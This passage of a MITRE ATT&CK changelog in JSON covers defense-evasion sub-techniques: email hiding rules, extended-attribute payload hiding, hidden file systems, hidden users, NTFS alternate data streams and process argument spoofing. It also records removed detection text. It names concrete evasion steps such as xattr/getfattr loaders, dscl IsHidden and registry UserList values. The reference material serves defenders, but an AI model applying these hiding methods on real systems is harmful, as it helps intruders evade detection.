delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/008", + "external_id": "T1564.008" + }, + { + "source_name": "MacOS Email Rules", + "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.", + "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac" + }, + { + "source_name": "Microsoft BEC Campaign", + "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/" + }, + { + "source_name": "Microsoft Mail Flow Rules 2023", + "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.", + "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + }, + { + "source_name": "Microsoft Inbox Rules", + "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.", + "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59" + }, + { + "source_name": "Microsoft New-InboxRule", + "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps" + }, + { + "source_name": "Microsoft Set-InboxRule", + "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps" + }, + { + "source_name": "Microsoft Cloud App Security", + "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.", + "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.364000+00:00\", \"old_value\": \"2025-04-15 22:27:09.849000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\\n\\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\\n-\\n-On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0192: Detection Strategy for Email Hiding Rules" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--762e6f29-a62f-4d96-91ed-d0073181431f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-03-27 19:40:00.716000+00:00", + "modified": "2025-09-17 17:58:26.729000+00:00", + "name": "Extended Attributes", + "description": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/014", + "external_id": "T1564.014" + }, + { + "source_name": "Establishing persistence using extended attributes on Linux", + "description": "Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.", + "url": "https://kernal.eu/posts/linux-xattr-persistence/" + }, + { + "source_name": "Low GroupIB xattrs nov 2024", + "description": "Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.", + "url": "https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Sharmine Low, Group-IB", + "Rouven Bissinger (SySS GmbH)", + "RoseSecurity" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-17 17:58:26.729000+00:00\", \"old_value\": \"2025-04-15 19:58:42.110000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.\", \"old_value\": \"kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0406: Detection Strategy for Extended Attributes Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-28 22:55:55.719000+00:00", + "modified": "2025-10-24 17:49:29.855000+00:00", + "name": "Hidden File System", + "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/005", + "external_id": "T1564.005" + }, + { + "source_name": "MalwareTech VFS Nov 2014", + "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.", + "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html" + }, + { + "source_name": "FireEye Bootkits", + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + }, + { + "source_name": "ESET ComRAT May 2020", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf" + }, + { + "source_name": "Kaspersky Equation QA", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.855000+00:00\", \"old_value\": \"2025-04-25 14:48:18.639000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0461: Detection Strategy for Hidden File System Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:12:40.876000+00:00", + "modified": "2025-10-24 17:49:05.113000+00:00", + "name": "Hidden Users", + "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/002", + "external_id": "T1564.002" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + }, + { + "source_name": "Apple Support Hide a User Account", + "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.", + "url": "https://support.apple.com/en-us/HT203998" + }, + { + "source_name": "FireEye SMOKEDHAM June 2021", + "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" + }, + { + "source_name": "Hide GDM User Accounts", + "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.", + "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/" + }, + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Omkar Gudhate" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"User Account: User Account Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Command: Command Execution\", \"User Account: User Account Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.113000+00:00\", \"old_value\": \"2025-04-15 22:39:51.186000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \\n\\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList key.\\n\\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \\n-\\n-Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList key.\\n-\\n-In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Creation)", + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0353: Detection Strategy for Hidden User Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:33:00.009000+00:00", + "modified": "2025-10-24 17:49:35.944000+00:00", + "name": "NTFS File Attributes", + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/004", + "external_id": "T1564.004" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "SpectorOps Host-Based Jul 2017", + "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", + "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea" + }, + { + "source_name": "Journey into IR ZeroAccess NTFS EA", + "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", + "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html" + }, + { + "source_name": "Microsoft NTFS File Attributes Aug 2010", + "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "source_name": "Microsoft File Streams", + "description": "Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams" + }, + { + "source_name": "Oddvar Moe ADS2 Apr 2018", + "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/" + }, + { + "source_name": "Oddvar Moe ADS1 Jan 2018", + "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/" + }, + { + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe", + "Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Process: Process Creation\", \"File: File Metadata\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.944000+00:00\", \"old_value\": \"2025-04-15 19:59:20.821000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n\\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n\\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n-\\n-There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n-\\n-The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0432: Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-11-19 14:13:11.335000+00:00", + "modified": "2025-10-24 17:49:40.325000+00:00", + "name": "Process Argument Spoofing", + "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/010", + "external_id": "T1564.010" + }, + { + "source_name": "Microsoft PEB 2021", + "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb" + }, + { + "source_name": "Xpn Argue Like Cobalt 2019", + "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021.", + "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/" + }, + { + "source_name": "Cobalt Strike Arguments 2019", + "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021.", + "url": 